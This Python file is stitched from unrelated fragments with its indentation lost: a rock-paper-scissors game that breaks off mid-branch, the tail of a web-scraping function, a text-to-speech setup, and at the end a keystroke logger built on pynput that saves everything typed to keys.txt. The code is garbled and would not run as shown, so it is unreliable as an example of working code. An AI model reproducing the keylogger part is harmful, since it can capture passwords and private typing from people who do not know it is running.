import random
choices = ["Rock", "Paper", "Scissors"]
computer = random.choice(choices)
player = False
cpu_score = 0
player_score = 0
while True:
player = input("Rock, Paper or Scissors?").capitalize()
# 判断游戏者和电脑的选择
if player == computer:
print("Tie!")
elif player == "Rock":
if computer == "Paper":
print("You lose!", computer, "covers", player)
cpu_score+=1
else:
print("You win!", player, "smashes", computer)
player_score+=1
elif player == "Paper":
if computer == "Scissors":
print("You lose!", computer, "cut", player)
cpu_score+=1
else:
print("You win!", player, "covers", computer)
player_score+=1
elif player == "Scissors":
if computer == "Rock":
print("You lose...", computer, "smashes", player)
cpu_score+=1
else:
print("You win!", player, "cut", computer)
player_score+=1
elif player=='E':

article = soup.select('.p')[i].getText().strip()
articles.append(article)
contents = " ".join(articles)
return contents
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)
def speak(audio):
engine.say(audio)

from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
global keys
#keys.append(str(key).replace("'",""))
string = str(key).replace("'","")
keys.append(string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('keys.txt', 'a') as f:
f.write(main_string)
keys= []
